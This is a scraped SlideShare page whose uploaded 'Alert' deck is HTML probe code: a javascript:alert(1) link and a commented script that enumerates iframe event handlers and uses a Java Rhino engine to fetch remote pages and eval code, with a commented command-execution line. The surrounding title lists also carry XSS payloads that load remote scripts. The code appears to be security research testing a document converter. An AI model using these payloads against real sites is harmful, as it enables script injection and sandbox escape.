SlideShare ist ein Scribd-Unternehmen logo
1 von 2
<html><head></head><body>
<math><maction href="javascript:alert(1)">test
<!--
<script>
var element = document.createElement('iframe');
element.src = 'alert.js';
Object.getOwnPropertyNames(element).forEach(function(name) {
if (/^on/.test(name)) {
element[name] = function() {
console.log(name);
}
// console.log(name);
}
});
document.body.appendChild(element);
var y = new Packages.com.sun.script.javascript.RhinoScriptEngine()
var b = y.createBindings();
var show = function(parent, context) {
var script = "";
script += "importPackage(javax.swing);n";
script += "importPackage(java.awt);n";
script += "importClass(java.awt.Frame);n";
//script += "importClass(javax.script);n";
//script += "importClass(java.net);n";
//script += 'var frame = new java.awt.Frame("hello"); frame.setVisible(true);
println(frame.title);';
script += 'var original = ' + parent + '; println(original + " " + (typeof
original)); for (var name in original) { var message = ""; try { message =
original[name]; } catch(e) { message = e.message; }; println(name + " = " +
message); println(" ") }; println("----------------------------------")';
y.eval(script);
}
//var x = y.eval('com.sun.script.javascript.RhinoTopLevel.getTopLevelScope');
/*y.eval("importPackage(javax.swing);" +
"var optionPane = " +
"JOptionPane.showMessageDialog(null, 'test');"
)*/
//show('runCommand("cmd", "/C", "date /T")')
//show('eval(this)')
//y.eval('context.setAttribute("location", "javascript:alert(1)"');
//javax.script.ScriptContext.GLOBAL_SCOPE
show("java.net.URL('http://shafigullin.pro/test.html').getContent()");
var y = new Packages.com.sun.script.javascript.RhinoScriptEngine();
var b = y.createBindings();
var dirMethod = 'function dir(element) { println(element); if (element) { for
(var name in element) { try { println(name + " = " + element[name] + "n"); }
catch (e) { println(name + " = " + e.message); } } }; println("--------"); }; ';
//y.eval(dirMethod + 'var applet = new Packages.java.applet.Applet();
applet.start();
dir(Packages.java.net.URL("http://kotowicz.net/java/java.html").getContent())')
y.eval(dirMethod + "dir(this)")
var inputStream = new java.io.BufferedReader(new java.io.InputStreamReader(new
java.net.URL("https://kotowicz.net/java/java.html").openStream()));
var inputLine = ""; var inputStringBuilder = new java.lang.StringBuilder();
while ((inputLine = inputStream.readLine()) != null)
{inputStringBuilder.append(inputLine);}
var match = /document.secret=atob
('(.*)');/i.exec(inputStringBuilder.toString());
javax.swing.JOptionPane.showMessageDialog(null, new
java.lang.String(javax.xml.bind.DatatypeConverter.parseBase64Binary(match[1])))
</script>
-->
</body></html>

Weitere ähnliche Inhalte

Was ist angesagt?

05 JavaScript #burningkeyboards
05 JavaScript #burningkeyboards05 JavaScript #burningkeyboards
05 JavaScript #burningkeyboardsDenis Ristic
 
Aspdevice - Asp Fast Crud introdution
Aspdevice - Asp Fast Crud introdutionAspdevice - Asp Fast Crud introdution
Aspdevice - Asp Fast Crud introdutionAdriano Mendes
 
Angular promises and http
Angular promises and httpAngular promises and http
Angular promises and httpAlexe Bogdan
 
Nodejs do teste de unidade ao de integração
Nodejs  do teste de unidade ao de integraçãoNodejs  do teste de unidade ao de integração
Nodejs do teste de unidade ao de integraçãoVinícius Pretto da Silva
 
Steam Learn: Asynchronous Javascript
Steam Learn: Asynchronous JavascriptSteam Learn: Asynchronous Javascript
Steam Learn: Asynchronous Javascriptinovia
 
AngularJS Compile Process
AngularJS Compile ProcessAngularJS Compile Process
AngularJS Compile ProcessEyal Vardi
 
React.js触ってみた 吉澤和香奈
React.js触ってみた 吉澤和香奈React.js触ってみた 吉澤和香奈
React.js触ってみた 吉澤和香奈Wakana Yoshizawa
 
Jqeury ajax plugins
Jqeury ajax pluginsJqeury ajax plugins
Jqeury ajax pluginsInbal Geffen
 
Switch to React.js from AngularJS developer
Switch to React.js from AngularJS developerSwitch to React.js from AngularJS developer
Switch to React.js from AngularJS developerEugene Zharkov
 
JavaScript APIs - The Web is the Platform - MDN Hack Day - Buenos Aires
JavaScript APIs - The Web is the Platform - MDN Hack Day - Buenos AiresJavaScript APIs - The Web is the Platform - MDN Hack Day - Buenos Aires
JavaScript APIs - The Web is the Platform - MDN Hack Day - Buenos AiresRobert Nyman
 
React state managmenet with Redux
React state managmenet with ReduxReact state managmenet with Redux
React state managmenet with ReduxVedran Blaženka
 
AngularJS Routing
AngularJS RoutingAngularJS Routing
AngularJS RoutingEyal Vardi
 
AngularJS Architecture
AngularJS ArchitectureAngularJS Architecture
AngularJS ArchitectureEyal Vardi
 
ReactJs presentation
ReactJs presentationReactJs presentation
ReactJs presentationnishasowdri
 
The next step, part 2
The next step, part 2The next step, part 2
The next step, part 2Pat Cavit
 

Was ist angesagt? (20)

05 JavaScript #burningkeyboards
05 JavaScript #burningkeyboards05 JavaScript #burningkeyboards
05 JavaScript #burningkeyboards
 
Aspdevice - Asp Fast Crud introdution
Aspdevice - Asp Fast Crud introdutionAspdevice - Asp Fast Crud introdution
Aspdevice - Asp Fast Crud introdution
 
Angular promises and http
Angular promises and httpAngular promises and http
Angular promises and http
 
Nodejs do teste de unidade ao de integração
Nodejs  do teste de unidade ao de integraçãoNodejs  do teste de unidade ao de integração
Nodejs do teste de unidade ao de integração
 
Steam Learn: Asynchronous Javascript
Steam Learn: Asynchronous JavascriptSteam Learn: Asynchronous Javascript
Steam Learn: Asynchronous Javascript
 
AngularJS Compile Process
AngularJS Compile ProcessAngularJS Compile Process
AngularJS Compile Process
 
React.js触ってみた 吉澤和香奈
React.js触ってみた 吉澤和香奈React.js触ってみた 吉澤和香奈
React.js触ってみた 吉澤和香奈
 
Jqeury ajax plugins
Jqeury ajax pluginsJqeury ajax plugins
Jqeury ajax plugins
 
Switch to React.js from AngularJS developer
Switch to React.js from AngularJS developerSwitch to React.js from AngularJS developer
Switch to React.js from AngularJS developer
 
JavaScript APIs - The Web is the Platform - MDN Hack Day - Buenos Aires
JavaScript APIs - The Web is the Platform - MDN Hack Day - Buenos AiresJavaScript APIs - The Web is the Platform - MDN Hack Day - Buenos Aires
JavaScript APIs - The Web is the Platform - MDN Hack Day - Buenos Aires
 
Rails is not just Ruby
Rails is not just RubyRails is not just Ruby
Rails is not just Ruby
 
React state managmenet with Redux
React state managmenet with ReduxReact state managmenet with Redux
React state managmenet with Redux
 
RSpec
RSpecRSpec
RSpec
 
React и redux
React и reduxReact и redux
React и redux
 
AngularJS Routing
AngularJS RoutingAngularJS Routing
AngularJS Routing
 
Code
CodeCode
Code
 
Excellent
ExcellentExcellent
Excellent
 
AngularJS Architecture
AngularJS ArchitectureAngularJS Architecture
AngularJS Architecture
 
ReactJs presentation
ReactJs presentationReactJs presentation
ReactJs presentation
 
The next step, part 2
The next step, part 2The next step, part 2
The next step, part 2
 

Andere mochten auch (17)

Flexobpm Dicht De Kloof Tussen Business En It
Flexobpm Dicht De Kloof Tussen Business En ItFlexobpm Dicht De Kloof Tussen Business En It
Flexobpm Dicht De Kloof Tussen Business En It
 
7812 hid (1)
7812 hid (1)7812 hid (1)
7812 hid (1)
 
%3c
%3c%3c
%3c
 
Test
TestTest
Test
 
7812 hid
7812 hid7812 hid
7812 hid
 
Genesis
GenesisGenesis
Genesis
 
Something
SomethingSomething
Something
 
04 fedin i_context
04 fedin i_context04 fedin i_context
04 fedin i_context
 
&lt;!--&lt;script/src=//goo.gl/65aVsL?">-->
&lt;!--&lt;script/src=//goo.gl/65aVsL?">-->&lt;!--&lt;script/src=//goo.gl/65aVsL?">-->
&lt;!--&lt;script/src=//goo.gl/65aVsL?">-->
 
NIH TGM Guo 38 Real-Time 3D
NIH TGM Guo 38 Real-Time 3DNIH TGM Guo 38 Real-Time 3D
NIH TGM Guo 38 Real-Time 3D
 
Milagro informatik
Milagro informatikMilagro informatik
Milagro informatik
 
Consagração aline barros
Consagração   aline barrosConsagração   aline barros
Consagração aline barros
 
Coevaluacion
CoevaluacionCoevaluacion
Coevaluacion
 
Francis of assisi
Francis of assisiFrancis of assisi
Francis of assisi
 
&lt;!--"'>&lt;img src=xx: onerror=body.appendChild(createElement('script')).s...
&lt;!--"'>&lt;img src=xx: onerror=body.appendChild(createElement('script')).s...&lt;!--"'>&lt;img src=xx: onerror=body.appendChild(createElement('script')).s...
&lt;!--"'>&lt;img src=xx: onerror=body.appendChild(createElement('script')).s...
 
P1 topic 1 - Changing Ideas About The Solar System
P1 topic 1 - Changing Ideas About The Solar SystemP1 topic 1 - Changing Ideas About The Solar System
P1 topic 1 - Changing Ideas About The Solar System
 
Schema Encoding
Schema EncodingSchema Encoding
Schema Encoding
 

Ähnlich wie Alert

JavaScript Testing for Rubyists
JavaScript Testing for RubyistsJavaScript Testing for Rubyists
JavaScript Testing for RubyistsJamie Dyer
 
HTML5 APIs - Where no man has gone before! - Altran
HTML5 APIs - Where no man has gone before! - AltranHTML5 APIs - Where no man has gone before! - Altran
HTML5 APIs - Where no man has gone before! - AltranRobert Nyman
 
Lazy Loading Because I'm Lazy
Lazy Loading Because I'm LazyLazy Loading Because I'm Lazy
Lazy Loading Because I'm LazyJohnathan Leppert
 
Secrets of JavaScript Libraries
Secrets of JavaScript LibrariesSecrets of JavaScript Libraries
Secrets of JavaScript Librariesjeresig
 
Stop Making Excuses and Start Testing Your JavaScript
Stop Making Excuses and Start Testing Your JavaScriptStop Making Excuses and Start Testing Your JavaScript
Stop Making Excuses and Start Testing Your JavaScriptRyan Anklam
 
Ten useful JavaScript tips & best practices
Ten useful JavaScript tips & best practicesTen useful JavaScript tips & best practices
Ten useful JavaScript tips & best practicesAnkit Rastogi
 
Experience Manager 6 Developer Features - Highlights
Experience Manager 6 Developer Features - HighlightsExperience Manager 6 Developer Features - Highlights
Experience Manager 6 Developer Features - HighlightsCédric Hüsler
 
Javascript Frameworks for Joomla
Javascript Frameworks for JoomlaJavascript Frameworks for Joomla
Javascript Frameworks for JoomlaLuke Summerfield
 
JavaScript APIs - The Web is the Platform - .toster conference, Moscow
JavaScript APIs - The Web is the Platform - .toster conference, MoscowJavaScript APIs - The Web is the Platform - .toster conference, Moscow
JavaScript APIs - The Web is the Platform - .toster conference, MoscowRobert Nyman
 
Paris js extensions
Paris js extensionsParis js extensions
Paris js extensionserwanl
 
international PHP2011_Bastian Feder_jQuery's Secrets
international PHP2011_Bastian Feder_jQuery's Secretsinternational PHP2011_Bastian Feder_jQuery's Secrets
international PHP2011_Bastian Feder_jQuery's Secretssmueller_sandsmedia
 
GWT - developing web applications with java (script) - Ewa Maciaś
GWT - developing web applications with java (script) - Ewa MaciaśGWT - developing web applications with java (script) - Ewa Maciaś
GWT - developing web applications with java (script) - Ewa MaciaśWebMuses
 
Personas: Understanding the User Behind the Visit
Personas: Understanding the User Behind the VisitPersonas: Understanding the User Behind the Visit
Personas: Understanding the User Behind the VisitMichael King
 
Jqeury ajax plugins
Jqeury ajax pluginsJqeury ajax plugins
Jqeury ajax pluginsInbal Geffen
 

Ähnlich wie Alert (20)

JavaScript Testing for Rubyists
JavaScript Testing for RubyistsJavaScript Testing for Rubyists
JavaScript Testing for Rubyists
 
HTML5 APIs - Where no man has gone before! - Altran
HTML5 APIs - Where no man has gone before! - AltranHTML5 APIs - Where no man has gone before! - Altran
HTML5 APIs - Where no man has gone before! - Altran
 
Javascript - Beyond-jQuery
Javascript - Beyond-jQueryJavascript - Beyond-jQuery
Javascript - Beyond-jQuery
 
Lazy Loading Because I'm Lazy
Lazy Loading Because I'm LazyLazy Loading Because I'm Lazy
Lazy Loading Because I'm Lazy
 
Secrets of JavaScript Libraries
Secrets of JavaScript LibrariesSecrets of JavaScript Libraries
Secrets of JavaScript Libraries
 
Stop Making Excuses and Start Testing Your JavaScript
Stop Making Excuses and Start Testing Your JavaScriptStop Making Excuses and Start Testing Your JavaScript
Stop Making Excuses and Start Testing Your JavaScript
 
Unit – II (1).pptx
Unit – II (1).pptxUnit – II (1).pptx
Unit – II (1).pptx
 
Ten useful JavaScript tips & best practices
Ten useful JavaScript tips & best practicesTen useful JavaScript tips & best practices
Ten useful JavaScript tips & best practices
 
jQuery secrets
jQuery secretsjQuery secrets
jQuery secrets
 
Introduccion a Jasmin
Introduccion a JasminIntroduccion a Jasmin
Introduccion a Jasmin
 
Introducing jQuery
Introducing jQueryIntroducing jQuery
Introducing jQuery
 
Experience Manager 6 Developer Features - Highlights
Experience Manager 6 Developer Features - HighlightsExperience Manager 6 Developer Features - Highlights
Experience Manager 6 Developer Features - Highlights
 
Javascript Frameworks for Joomla
Javascript Frameworks for JoomlaJavascript Frameworks for Joomla
Javascript Frameworks for Joomla
 
jQuery secrets
jQuery secretsjQuery secrets
jQuery secrets
 
JavaScript APIs - The Web is the Platform - .toster conference, Moscow
JavaScript APIs - The Web is the Platform - .toster conference, MoscowJavaScript APIs - The Web is the Platform - .toster conference, Moscow
JavaScript APIs - The Web is the Platform - .toster conference, Moscow
 
Paris js extensions
Paris js extensionsParis js extensions
Paris js extensions
 
international PHP2011_Bastian Feder_jQuery's Secrets
international PHP2011_Bastian Feder_jQuery's Secretsinternational PHP2011_Bastian Feder_jQuery's Secrets
international PHP2011_Bastian Feder_jQuery's Secrets
 
GWT - developing web applications with java (script) - Ewa Maciaś
GWT - developing web applications with java (script) - Ewa MaciaśGWT - developing web applications with java (script) - Ewa Maciaś
GWT - developing web applications with java (script) - Ewa Maciaś
 
Personas: Understanding the User Behind the Visit
Personas: Understanding the User Behind the VisitPersonas: Understanding the User Behind the Visit
Personas: Understanding the User Behind the Visit
 
Jqeury ajax plugins
Jqeury ajax pluginsJqeury ajax plugins
Jqeury ajax plugins
 

Mehr von 3$'"/s/-->*/\xss$`'<x/$&quot%22%27$!{1}&apos;/./\ (6)

\u0022\u003e\u003cimg/src=xx:\u0020onerror=alert(1)\u003e
\u0022\u003e\u003cimg/src=xx:\u0020onerror=alert(1)\u003e\u0022\u003e\u003cimg/src=xx:\u0020onerror=alert(1)\u003e
\u0022\u003e\u003cimg/src=xx:\u0020onerror=alert(1)\u003e
 
xss:"'><x><img src=//ffi.st>
xss:"'><x><img src=//ffi.st>xss:"'><x><img src=//ffi.st>
xss:"'><x><img src=//ffi.st>
 
Doc1
Doc1Doc1
Doc1
 
Test&lt;x>
Test&lt;x>Test&lt;x>
Test&lt;x>
 
xx1&lt;b>test&lt;/b>
xx1&lt;b>test&lt;/b>xx1&lt;b>test&lt;/b>
xx1&lt;b>test&lt;/b>
 
\u003cx\u003e
\u003cx\u003e\u003cx\u003e
\u003cx\u003e
 

Alert

  • 1. <html><head></head><body> <math><maction href="javascript:alert(1)">test <!-- <script> var element = document.createElement('iframe'); element.src = 'alert.js'; Object.getOwnPropertyNames(element).forEach(function(name) { if (/^on/.test(name)) { element[name] = function() { console.log(name); } // console.log(name); } }); document.body.appendChild(element); var y = new Packages.com.sun.script.javascript.RhinoScriptEngine() var b = y.createBindings(); var show = function(parent, context) { var script = ""; script += "importPackage(javax.swing);n"; script += "importPackage(java.awt);n"; script += "importClass(java.awt.Frame);n"; //script += "importClass(javax.script);n"; //script += "importClass(java.net);n"; //script += 'var frame = new java.awt.Frame("hello"); frame.setVisible(true); println(frame.title);'; script += 'var original = ' + parent + '; println(original + " " + (typeof original)); for (var name in original) { var message = ""; try { message = original[name]; } catch(e) { message = e.message; }; println(name + " = " + message); println(" ") }; println("----------------------------------")'; y.eval(script); } //var x = y.eval('com.sun.script.javascript.RhinoTopLevel.getTopLevelScope'); /*y.eval("importPackage(javax.swing);" + "var optionPane = " + "JOptionPane.showMessageDialog(null, 'test');" )*/ //show('runCommand("cmd", "/C", "date /T")') //show('eval(this)') //y.eval('context.setAttribute("location", "javascript:alert(1)"'); //javax.script.ScriptContext.GLOBAL_SCOPE show("java.net.URL('http://shafigullin.pro/test.html').getContent()"); var y = new Packages.com.sun.script.javascript.RhinoScriptEngine();
  • 2. var b = y.createBindings(); var dirMethod = 'function dir(element) { println(element); if (element) { for (var name in element) { try { println(name + " = " + element[name] + "n"); } catch (e) { println(name + " = " + e.message); } } }; println("--------"); }; '; //y.eval(dirMethod + 'var applet = new Packages.java.applet.Applet(); applet.start(); dir(Packages.java.net.URL("http://kotowicz.net/java/java.html").getContent())') y.eval(dirMethod + "dir(this)") var inputStream = new java.io.BufferedReader(new java.io.InputStreamReader(new java.net.URL("https://kotowicz.net/java/java.html").openStream())); var inputLine = ""; var inputStringBuilder = new java.lang.StringBuilder(); while ((inputLine = inputStream.readLine()) != null) {inputStringBuilder.append(inputLine);} var match = /document.secret=atob ('(.*)');/i.exec(inputStringBuilder.toString()); javax.swing.JOptionPane.showMessageDialog(null, new java.lang.String(javax.xml.bind.DatatypeConverter.parseBase64Binary(match[1]))) </script> --> </body></html>